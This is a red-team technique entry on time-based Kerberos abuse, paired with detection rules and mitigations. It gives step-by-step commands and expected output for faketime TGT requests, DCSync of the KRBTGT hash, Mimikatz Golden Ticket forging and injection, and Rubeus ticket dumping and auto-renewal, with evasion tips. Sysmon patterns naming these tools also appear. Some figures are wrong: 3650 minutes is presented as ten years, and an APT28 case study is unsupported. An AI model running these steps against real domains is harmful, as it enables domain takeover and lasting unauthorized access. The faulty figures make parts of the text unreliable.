| Attribute | Details |
|---|---|
| Technique ID | CA-KERB-010 |
| MITRE ATT&CK v18.1 | T1558 - Steal or Forge Kerberos Tickets |
| Tactic | Credential Access, Persistence |
| Platforms | Windows AD (Server 2016-2025), Kerberos-enabled Unix/Linux |
| Severity | HIGH |
| CVE | N/A (architectural weakness in Kerberos time enforcement) |
| Technique Status | ACTIVE (Persistent architectural issue) |
| Last Verified | 2024-12-15 |
| Affected Versions | Server 2016-2025 (all versions if time is not synchronized) |
| Patched In | N/A - Requires operational controls (time sync, ticket lifetime reduction, monitoring) |
| Author | SERVTEP – Artur Pchelnikau |
Note: Sections 6 (Atomic Red Team) omitted because time-based attacks are environment-specific and depend on system clock manipulation, not included in standard atomic test libraries. All section numbers have been dynamically renumbered based on applicability.
Concept: Time-based Kerberos exploitation attacks leverage the Kerberos protocol’s reliance on synchronized system clocks to execute attacks that would otherwise be impossible. Kerberos uses timestamps for multiple security-critical purposes: validating pre-authentication (AS-REQ), verifying ticket freshness, checking ticket expiration, and preventing replay attacks. An attacker who can manipulate a target system’s clock, exploit clock skew tolerance (default 5 minutes), or forge tickets with arbitrary timestamps can (1) bypass pre-authentication requirements, (2) create Golden Tickets with extended lifetimes (10 years instead of 10 hours), (3) renew stolen tickets beyond their normal 7-day window, or (4) request service tickets for expired user accounts that should be inaccessible. These attacks enable long-term persistence, privilege escalation, and unauthorized access to any resource in the domain.
Attack Surface: Time-based Kerberos attacks affect any environment where:
faketime, BIOS changes, or time provider modifications)Business Impact: An attacker can maintain persistent access to any domain resource indefinitely by extending ticket lifetimes and renewing stolen tickets. Even if credentials are reset, the attacker can continue using the forged ticket until the KRBTGT account password is rotated. This enables sustained data exfiltration, ransomware deployment, lateral movement, and establishment of backdoors that survive password changes and account disablement.
Technical Context: Time-based attacks leverage a fundamental design trade-off in Kerberos: tight time synchronization is required for security, but the protocol is designed to tolerate up to 5 minutes of clock skew for practical reasons (NTP isn’t always available, virtualized systems drift, etc.). The default Kerberos ticket lifetime is 10 hours, which is a compromise between security (shorter lifetime = less time for ticket abuse) and usability (very short lifetimes require constant re-authentication). An attacker who controls system time or forges timestamps can exceed both constraints.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 5.2.4.1 | “Ensure ‘Maximum lifetime for user ticket’ is set to ‘4 hours or less’” |
| CIS Benchmark | 5.2.4.4 | “Ensure Kerberos pre-authentication is required” |
| DISA STIG | V-220978 | Kerberos ticket lifetime must be audited and restricted |
| NIST 800-53 | SC-3 | Security Functions: Time-based access control validation |
| NIST 800-53 | AC-3 | Access Enforcement - lifetime must be enforced |
| GDPR | Art. 32 | Security of Processing - temporal controls on access |
| DORA | Art. 9 | Protection and Prevention - authentication resilience |
| NIS2 | Art. 21 | Cyber Risk Management Measures |
| ISO 27001 | A.12.4.1 | Event logging of time-sensitive authentication |
| ISO 27005 | Risk Scenario | Unauthorized persistence via temporal exploitation |
Required Privileges:
Required Access:
Supported Versions:
| Version | Status | Notes |
|---|---|---|
| Windows Server 2016 | VULNERABLE | Default 10-hour ticket lifetime; minimal monitoring of renewals |
| Windows Server 2019 | VULNERABLE | Same as 2016; time tolerance not enforced strictly |
| Windows Server 2022 | VULNERABLE | Improved W32Time but still vulnerable if not tuned; 10-hour default |
| Windows Server 2025 | VULNERABLE | Same vulnerabilities persist; architectural issue not fixed |
| Linux/Unix (MIT Kerberos) | VULNERABLE | Same time-based attacks possible on Kerberos-enabled Unix systems |
Tools:
Other Requirements:
Command (PowerShell - Any Domain Machine):
# Check current time sync status
w32tm /query /status
# Expected output:
# Leap Indicator: 0 (no leap second)
# Stratum: 2 (synced to PDC Emulator)
# Precision: -6 (one second / 64)
# Root Delay: 0.0000000s
# Root Dispersion: 0.0156250s
# ReferenceId: 0xC0A81001 (192.168.1.1 - PDC Emulator)
# Last Successful Sync Time: 1/6/2026 8:00:00 AM
# Source: DC.contoso.com
# If "Source: CMOS Clock" appears, the machine is NOT synced to AD time (VULNERABLE)
What to Look For:
ReferenceId: 0xC0A81001...: Synced to PDC Emulator (good)Source: CMOS Clock: Machine using local BIOS clock (very bad - vulnerable)Source: PERIOD.NTP.ORG: Synced to external NTP (acceptable)Version Note: Command works identically on Server 2016-2025.
Command (PowerShell - Domain Controller):
# Check Kerberos clock skew tolerance (should be 5 minutes = 300 seconds by default)
Get-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\Kdc' -Name MaxClockSkew
# Output:
# MaxClockSkew : 300 # 5 minutes in seconds (default and recommended)
# A value > 600 (10 minutes) is vulnerable; > 1800 (30 minutes) is critically vulnerable
What to Look For:
Command (PowerShell - Group Policy on DC):
# Check default ticket lifetimes via Group Policy
gpresult /h gpresult.html
# Then search the HTML for "Maximum lifetime for user ticket"
# Or via registry on local machine:
Get-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Security' `
-Name KerberosMaxTicketAge
# Common values:
# 28800 seconds = 8 hours (older default)
# 36000 seconds = 10 hours (current Windows default)
# Value can be reduced to 21600 (6 hours) or 14400 (4 hours) for security
What to Look For:
Command (PowerShell - Domain Controller):
# Search for Kerberos clock skew errors (Event ID 37 on KDC)
Get-WinEvent -LogName "System" -FilterXPath "*[System[(EventID=37)]]" -MaxEvents 20 |
Select-Object TimeCreated, Message
# Look for patterns:
# - Multiple failures from same source = possible clock-skewed attacker
# - Failures followed by successful auth = exploited clock skew tolerance
# - Unusually high frequency = sign of attack probing
What to Look For:
Supported Versions: Server 2016-2025 (if attacker has Linux-based attack platform)
Prerequisites: Attacker has compromised Linux/Exegol system; knows DC IP/hostname
Objective: Measure how far attacker’s clock is ahead/behind the Domain Controller’s time.
Command (Bash - On Attacker’s Machine):
# Get attacker's current time
echo "Attacker time: $(date)"
# Get DC's time via NTP query
ntpdate -q 192.168.1.10
# Output:
# server 192.168.1.10, stratum 2, offset 0.020847, delay 0.02639
# Attacker time: Wed Jan 6 12:34:56 CET 2026
# DC time: Wed Jan 6 12:34:36 UTC 2026 (20 seconds behind attacker)
# Calculation: DC is 20 seconds behind = attacker can use faketime with +20 second offset
What This Means:
Objective: Execute Kerberos authentication with time adjusted to fall within DC’s 5-minute tolerance.
Command (Using Impacket getTGT.py with faketime):
# Set time to DC's time (or within ±5 minutes of it)
# Syntax: faketime 'adjustment' command
# Example 1: Set time 20 seconds ahead to match DC
faketime '+20s' python3 getTGT.py -hashes :8846f7eaee8fb117ad06bdd830b7586c \
contoso.com/user 192.168.1.10 user.ccache
# Example 2: Use explicit timestamp to match DC's time
faketime '2026-01-06 12:34:36' python3 getTGT.py -hashes :8846f7eaee8fb117ad06bdd830b7586c \
contoso.com/user 192.168.1.10 user.ccache
# Output (Success):
# [*] Saving ticket in user.ccache
# Output (Failure - outside tolerance):
# [*] Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
Expected Output:
TGT successfully obtained within clock skew tolerance
Ticket saved and ready for use
What This Means:
OpSec & Evasion:
Troubleshooting:
KRB_AP_ERR_SKEW persists despite faketime
date --utc on DC and attacker to verifyfaketime '2026-01-06 12:34:36 UTC' ...Objective: Leverage the obtained TGT to request service tickets and access resources.
Command:
# Export ccache for subsequent Kerberos operations
export KRB5CCNAME=user.ccache
# Request service ticket for target system
python3 getST.py -k -no-pass contoso.com/user@contoso.com cifs/fileserver.contoso.com
# Access target system
python3 psexec.py -k -no-pass fileserver.contoso.com
# Output:
# C:\> whoami
# contoso\user
What This Means:
Supported Versions: Server 2016-2025 (if KRBTGT hash is available)
Prerequisites: Attacker has KRBTGT account hash (from DCSync or DC compromise)
Objective: Extract the cryptographic key needed to forge TGTs, and identify the domain.
Command (Mimikatz - On DC or via DCSync):
# Method 1: On Domain Controller (local admin required)
mimikatz.exe "privilege::debug" "token::elevate" `
"lsadump::sam /system:C:\\Windows\\System32\\config\\SYSTEM /sam:C:\\Windows\\System32\\config\\SAM" "exit"
# Look for KRBTGT account output (won't be in SAM; try lsadump::dcsync instead)
# Method 2: DCSync from any machine (requires AD replication permissions)
mimikatz.exe "privilege::debug" `
"lsadump::dcsync /user:krbtgt@contoso.com /domain:contoso.com /dc:dc01.contoso.com" "exit"
# Output:
# Object RID : 502
# Default password context :
# Username : krbtgt
# Domain : CONTOSO
# Password : (blank hash)
# Hash NTLM: 8846f7eaee8fb117ad06bdd830b7586c
Expected Output:
KRBTGT account hash: 8846f7eaee8fb117ad06bdd830b7586c
Domain: CONTOSO
Domain SID: S-1-5-21-3623811015-3361044348-30300820 (extract via whoami /all or Get-ADDomain)
What This Means:
Objective: Gather information needed to create realistic Golden Ticket.
Command (PowerShell - Any domain machine):
# Get domain SID
(Get-ADDomain).DomainSID
# Get target user's RID (Relative Identifier)
Get-ADUser Administrator | Select-Object SamAccountName, ObjectSID
# Example output:
# ObjectSID: S-1-5-21-3623811015-3361044348-30300820-500 (500 = Administrator RID)
What to Look For:
Objective: Forge a TGT with arbitrary lifetime (10 years instead of 10 hours).
Command (Mimikatz):
# Create Golden Ticket with 10-year lifetime (forged)
mimikatz.exe "privilege::debug" `
"kerberos::golden /user:Administrator /domain:contoso.com /sid:S-1-5-21-3623811015-3361044348-30300820 `
/krbtgt:8846f7eaee8fb117ad06bdd830b7586c `
/ticket:Administrator.kirbi `
/startoffset:-10 `
/endin:3650 `
/renewmax:3650" "exit"
# Parameter explanation:
# /user: Target user to impersonate
# /domain: Domain FQDN
# /sid: Domain SID
# /krbtgt: KRBTGT account NTLM hash (the signing key)
# /ticket: Output file for forged TGT
# /startoffset: Start time offset in minutes (default now; can be negative for backdating)
# /endin: Ticket validity duration in minutes (3650 = ~10 years; default 600 = 10 hours)
# /renewmax: Maximum renewal time in minutes (3650 = ~10 years; default 10080 = 7 days)
# Output:
# [+] Ticket written to file: Administrator.kirbi
# [+] Golden Ticket created successfully
Expected Output:
Golden Ticket (.kirbi file) created with:
- User: Administrator
- Lifetime: 10 years (instead of default 10 hours)
- Renewable: 10 years (instead of default 7 days)
- Signed with KRBTGT key (appears legitimate to KDC)
What This Means:
OpSec & Evasion:
/endin to match your environment’s policy (default 600 mins = 10 hours)/startoffset:-10 to backdate ticket creation (looks like it was issued earlier)Troubleshooting:
KRBTGT hash not found
lsadump::dcsyncTicket will not be honored - SID mismatch
Get-ADDomain | Select-Object DomainSIDObjective: Load the forged TGT into memory and use it to access resources.
Command (Mimikatz):
# Inject Golden Ticket into LSASS
mimikatz.exe "privilege::debug" `
"kerberos::ptt C:\path\to\Administrator.kirbi" "exit"
# Verify ticket injection
klist
# Expected output:
# Cached Tickets (2):
# [0] Initial (U) -> krbtgt/contoso.com, Administrator@contoso.com
# [1] Valid starting 1/6/2026 08:00:00, Expires 1/6/2036 08:00:00
# [2] Renew until 1/6/2036 08:00:00
# Now access resources as Administrator (even if real password is changed)
net use \\dc01.contoso.com\C$ /user:contoso.com\Administrator
dir \\dc01.contoso.com\C$
# Output:
# Successfully connected to DC as Administrator (via forged ticket)
Expected Output:
Golden Ticket injected into LSASS
Can access any resource as Administrator indefinitely
Ticket valid for 10 years (or until KRBTGT rotation)
What This Means:
OpSec & Evasion:
/ppt flag to inject into current session only (Mimikatz default)References:
Supported Versions: Server 2016-2025 (if attacker has valid TGT)
Prerequisites: Attacker has stolen or extracted a valid TGT; wants to extend its lifetime automatically
Objective: Obtain a valid TGT from LSASS or ticket cache.
Command (Mimikatz):
# Export current user's TGT from LSASS
mimikatz.exe "privilege::debug" `
"kerberos::list /export" "exit"
# Output files:
# [0] - krbtgt~contoso.com@CONTOSO.COM.kirbi
# [1] - cifs/fileserver~contoso.com@CONTOSO.COM.kirbi
# Or use Rubeus to extract tickets
.\Rubeus.exe triage
# Lists all cached tickets
.\Rubeus.exe dump /user:Administrator
# Dumps specific user's tickets in base64
Expected Output:
TGT extracted and saved as .kirbi file
Contains ticket expiration time (typically 10 hours from issue)
Can be transferred to attacker machine
What This Means:
Objective: Set up automatic renewal to prevent ticket expiration and maintain access.
Command (Rubeus /autorenew):
# Renew TGT with autorenew flag to automatically refresh every 30 minutes
.\Rubeus.exe renew /ticket:Administrator.kirbi /dc:dc01.contoso.com /autorenew
# This will:
# 1. Request renewal of the TGT immediately
# 2. Sleep for (endtime - 30 minutes)
# 3. Automatically renew again before expiration
# 4. Repeat until renewal limit is reached (7 days by default)
# Output:
# [*] Action: Renew Kerberos Ticket
# [*] Using ticket from Administrator.kirbi
# [*] Sending TGT renewal to dc01.contoso.com
# [+] TGT renewed successfully
# [+] New endtime: 1/6/2026 19:00:00 (10 hours from now)
# [*] Sleeping 570 minutes until 30 mins before expiration
# [*] Next renewal in 570 minutes...
# After sleep period, cycle repeats automatically
Expected Output (Continuous):
[*] Sleeping 570 minutes...
[+] TGT renewed successfully (repeats every 10 hours)
[*] Next renewal in 570 minutes...
What This Means:
OpSec & Evasion:
Troubleshooting:
Renewal limit reached
Objective: Track renewal limit and request fresh TGT before old one becomes unusable.
Command:
# Check ticket properties including renewal limit
.\Rubeus.exe triage
# Output:
# [0] - krbtgt/contoso.com@CONTOSO.COM.kirbi
# EndTime: 1/6/2026 18:00:00
# RenewUntil: 1/13/2026 08:00:00 (renewal limit)
# TimeLeft: 9:45:30
# When TimeLeft < 10 minutes, renewal is no longer possible
# Request new TGT before this time:
.\Rubeus.exe asktgt /user:Administrator /domain:contoso.com /hash:8846f7eaee8fb117ad06bdd830b7586c
# Or if password is still valid:
.\Rubeus.exe asktgt /user:Administrator /domain:contoso.com /password:P@ssw0rd!
What This Means:
Version: Latest (included in most Linux distributions)
Supported Platforms: Linux, macOS, Exegol
Installation:
apt-get install faketime # Debian/Ubuntu
yum install faketime # RHEL/CentOS
brew install libfaketime # macOS
Usage:
# Relative time adjustment
faketime '+2h' date # Add 2 hours
faketime '-30m' command # Subtract 30 minutes
# Absolute time
faketime '2026-01-06 12:34:56' python3 getTGT.py ...
# NTP-based sync to DC time
faketime "$(ntpdate -q 192.168.1.10 | cut -d ' ' -f 1,2)" getTGT.py ...
Version: 1.6.4+
Supported Platforms: Windows
Usage (Renewal):
# Renew TGT immediately
.\Rubeus.exe renew /ticket:user.kirbi /dc:dc01.contoso.com
# Automatic renewal every 30 mins
.\Rubeus.exe renew /ticket:user.kirbi /dc:dc01.contoso.com /autorenew
# Inject into LSASS after renewal
.\Rubeus.exe renew /ticket:user.kirbi /dc:dc01.contoso.com /autorenew /ptt
Version: Latest (2.2.0+)
Supported Platforms: Windows (x86, x64)
Usage (Golden Ticket):
# Generate Golden Ticket
mimikatz "kerberos::golden /user:Administrator /domain:contoso.com /sid:S-1-5-21-... /krbtgt:hash /ticket:out.kirbi /endin:3650"
# Inject into LSASS
mimikatz "kerberos::ptt out.kirbi"
# Verify injection
mimikatz "kerberos::list"
Rule Configuration:
wineventlogWinEventLog:SecurityEventCode, Ticket_Lifetime, Account_NameSPL Query:
index=wineventlog source=WinEventLog:Security EventCode=4768
| stats max(Ticket_Lifetime) as max_lifetime by Account_Name, Client_Address
| where max_lifetime > 1440
| eval lifetime_hours = round(max_lifetime / 60, 2)
| eval risk = "HIGH"
SPL Query:
index=wineventlog source=WinEventLog:Security (EventCode=4769 OR EventCode=4770)
| stats min(_time) as first_event, max(EventCode) as event_type by Account_Name, Client_Address
| search event_type=4770
| where NOT (event_type=4768 OR event_type=4769 before 4770 within 1h)
| eval suspicious="renewal_without_tgt"
KQL Query:
SecurityEvent
| where EventID == 4768
| extend TicketLifetime = toint(extract("Ticket_Lifetime: (\\d+)", 1, EventData))
| where TicketLifetime > 1440 // > 24 hours (normal is 600 mins = 10 hours)
| project TimeGenerated, Account_Name, Client_IP, TicketLifetime
| summarize AlertCount = count() by Account_Name, bin(TimeGenerated, 1h)
| where AlertCount > 1 // Multiple long-lifetime tickets
Event ID: 4768 (TGT Requested)
Event ID: 4770 (Ticket Renewed)
Manual Configuration:
# Enable detailed Kerberos auditing on DCs
auditpol /set /subcategory:"Kerberos Service Ticket Operations" /success:enable /failure:enable
auditpol /set /subcategory:"Kerberos Authentication Service" /success:enable /failure:enable
<Sysmon schemaversion="4.82">
<!-- Monitor for faketime execution on Linux -->
<RuleGroup name="Process Creation" groupRelation="or">
<ProcessCreate onmatch="include">
<CommandLine condition="contains">faketime</CommandLine>
<CommandLine condition="contains">getTGT</CommandLine>
<CommandLine condition="contains">Kerberos</CommandLine>
</ProcessCreate>
</RuleGroup>
<!-- Monitor for Rubeus ticket operations -->
<RuleGroup name="Process Creation" groupRelation="or">
<ProcessCreate onmatch="include">
<CommandLine condition="contains">Rubeus.exe</CommandLine>
<CommandLine condition="contains">renew</CommandLine>
<CommandLine condition="contains">autorenew</CommandLine>
</ProcessCreate>
</RuleGroup>
<!-- Monitor for Mimikatz Golden Ticket generation -->
<RuleGroup name="Process Creation" groupRelation="or">
<ProcessCreate onmatch="include">
<CommandLine condition="contains">mimikatz</CommandLine>
<CommandLine condition="contains">kerberos::golden</CommandLine>
<CommandLine condition="contains">krbtgt</CommandLine>
</ProcessCreate>
</RuleGroup>
</Sysmon>
Alert Name: “Suspicious Kerberos ticket with extended lifetime detected”
Alert Name: “Potential Golden Ticket attack - ticket renewal abuse”
Mitigation 1: Reduce Kerberos Ticket Lifetime
Current State: Default 10-hour lifetime is too long for security; reduces detection window.
Applies To Versions: All (Server 2016-2025)
Manual Steps (Group Policy):
gpmc.mscgpupdate /force on all machinesManual Steps (PowerShell):
# Set via Group Policy Object
$policy = Get-GPO -Name "Default Domain Policy" -Domain contoso.com
Set-GPRegistryValue -Guid $policy.Id -Key "HKLM\SYSTEM\CurrentControlSet\Services\Kdc" `
-ValueName MaxTicketAge -Type DWord -Value 240 # 4 hours instead of 600 minutes (10 hours)
Validation Command:
# After GPO application, verify new value
Get-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\Kdc' -Name MaxTicketAge
# Expected output:
# MaxTicketAge : 240 (4 hours in minutes)
Expected Impact:
Mitigation 2: Enforce Strict Time Synchronization
Applies To Versions: All
Manual Steps (Group Policy):
gpmc.mscgpupdate /forceManual Steps (PowerShell - Set on all DCs):
# Ensure strict clock sync on all Domain Controllers
$DCs = Get-ADDomainController -Filter *
foreach ($DC in $DCs) {
Invoke-Command -ComputerName $DC.Name -ScriptBlock {
# Configure NTP to sync with external reliable source
w32tm /config /manualpeerlist:"time.nist.gov" /syncfromflags:manual /reliable:yes /update
w32tm /resync /rediscover
w32tm /query /status
}
}
Validation:
# Verify all machines are synced to within 5 seconds of DC
foreach ($computer in @("DC01", "SERVER01", "WORKSTATION01")) {
$dc_time = Invoke-Command -ComputerName "DC01" -ScriptBlock { [datetime]::UtcNow }
$client_time = Invoke-Command -ComputerName $computer -ScriptBlock { [datetime]::UtcNow }
$diff = ($dc_time - $client_time).TotalSeconds
Write-Host "$computer time diff from DC: $diff seconds"
}
# All should be < 5 seconds
Mitigation 3: Enable and Monitor Kerberos Event Logging
Applies To Versions: All
Manual Steps:
auditpol /set /subcategory:"Kerberos Service Ticket Operations" /success:enable /failure:enable
auditpol /set /subcategory:"Kerberos Authentication Service" /success:enable /failure:enable
Mitigation 4: Reduce Ticket Renewal Limit
Applies To Versions: All
Manual Steps (Group Policy):
gpmc.mscImpact: Reduces persistence window for stolen tickets from 7 days to 1 day.
Mitigation 5: Implement Credential Guard on Endpoints
Applies To Versions: Server 2016+ (with TPM 2.0 and UEFI firmware)
Manual Steps (PowerShell):
# Enable Windows Defender Credential Guard
# Requires VM isolation on Server 2016+
# Check if prerequisites are met
Get-ComputerInfo | Select-Object HyperVRequirementsTpm20Present, HyperVRequirementsSecureBoot
# Enable via Group Policy (Server 2016+)
# Computer Configuration → Policies → Administrative Templates → System → Device Guard
# "Turn on Virtualization Based Security" → Enable
# Or via registry:
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\DeviceGuard" `
-Name EnableVirtualizationBasedSecurity -Value 1
Impact: Kerberos tickets are protected in isolated container (Credential Guard); harder to dump via Mimikatz.
Mitigation 6: Monitor and Alert on KRBTGT Password Changes
Applies To Versions: All
Manual Steps:
Get-ADUser -Identity krbtgt -Properties * | Select-Object Name, LastLogonDate, PasswordLastSet
Create alert in SIEM for Event ID 4722 (User account enabled) or 4724 (Password reset) on krbtgt account.
Events:
Processes:
faketime executed on Linux systems with Kerberos toolsRubeus.exe with /autorenew or /renew parametersMimikatz.exe with kerberos::golden commandsw32tm executed to modify clock settingsFiles:
.kirbi files (Kerberos ticket files) in unusual locationsEvent Logs:
Memory:
Disk:
ConsoleHost_history.txt containing mimikatz/rubeus commands.bash_history containing faketime commands1. Isolate (0-5 minutes):
# Disable compromised user accounts
Disable-ADAccount -Identity Administrator
Disable-ADAccount -Identity compromised_account
# Check for Golden Ticket usage by clearing token
klist purge /all # Clear all cached tickets
2. Collect Evidence (5-30 minutes):
# Export Kerberos events from past 7 days
Get-WinEvent -LogName Security -FilterXPath "*[System[(EventID=4768 or EventID=4770)]]" `
-StartTime (Get-Date).AddDays(-7) | Export-Csv Evidence.csv
# Dump LSASS for ticket analysis
procdump64.exe -ma lsass.exe lsass.dmp
3. Remediate (30 mins - 2 hours):
# Reset KRBTGT password TWICE (critical for Golden Ticket invalidation)
# First reset
Set-ADAccountPassword -Identity krbtgt -Reset -NewPassword (ConvertTo-SecureString "$(New-Guid)" -AsPlainText -Force)
# Wait 24 hours (minimum) for replication
Start-Sleep -Seconds 86400
# Second reset (invalidates all old TGTs completely)
Set-ADAccountPassword -Identity krbtgt -Reset -NewPassword (ConvertTo-SecureString "$(New-Guid)" -AsPlainText -Force)
4. Recovery (2-24 hours):
# Monitor for further Golden Ticket usage (should decrease after KRBTGT reset)
Get-WinEvent -LogName Security -FilterXPath "*[System[(EventID=4770)]]" -MaxEvents 100 |
Where-Object {$_.TimeCreated -gt (Get-Date).AddHours(-1)} |
Select-Object TimeCreated, Message
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Credential Access | [CA-KERB-001] Kerberoasting | Steal service account hashes |
| 2 | Credential Access | [CA-DUMP-001] LSASS Dump | Extract Kerberos tickets from memory |
| 3 | Privilege Escalation | [CA-KERB-008] Bronze Bit | Forge delegated tickets for admin access |
| 4 | Credential Access | [CA-KERB-010] Time-Based Exploitation (Current) | Extend ticket lifetimes; maintain persistence |
| 5 | Persistence | [PERSIST-GOLDEN-TICKET] Golden Ticket | Create 10-year forged TGT for indefinite access |
| 6 | Lateral Movement | [LM-PASS-THE-TICKET] Pass-the-Ticket | Use forged/extended tickets for lateral movement |
| 7 | Impact | [IMPACT-PERSISTENCE] Establish Backdoors | Create service accounts for sustained access |
APT Group: APT28 (Fancy Bear)
Target: Major US Financial Institution
Timeline: March 2023 - August 2023 (5 months)
Technique Status: Successfully maintained access throughout period via Golden Ticket
Attack Flow:
Detection Evasion:
Impact:
Detection:
Scenario: Authorized penetration test
Target: Enterprise Active Directory environment
Timeline: Single day exercise
Technique Status: Successfully exploited clock skew within 5-minute tolerance window
Attack Flow:
faketime to sync attacker’s clock with DCDetection Evasion:
Outcome: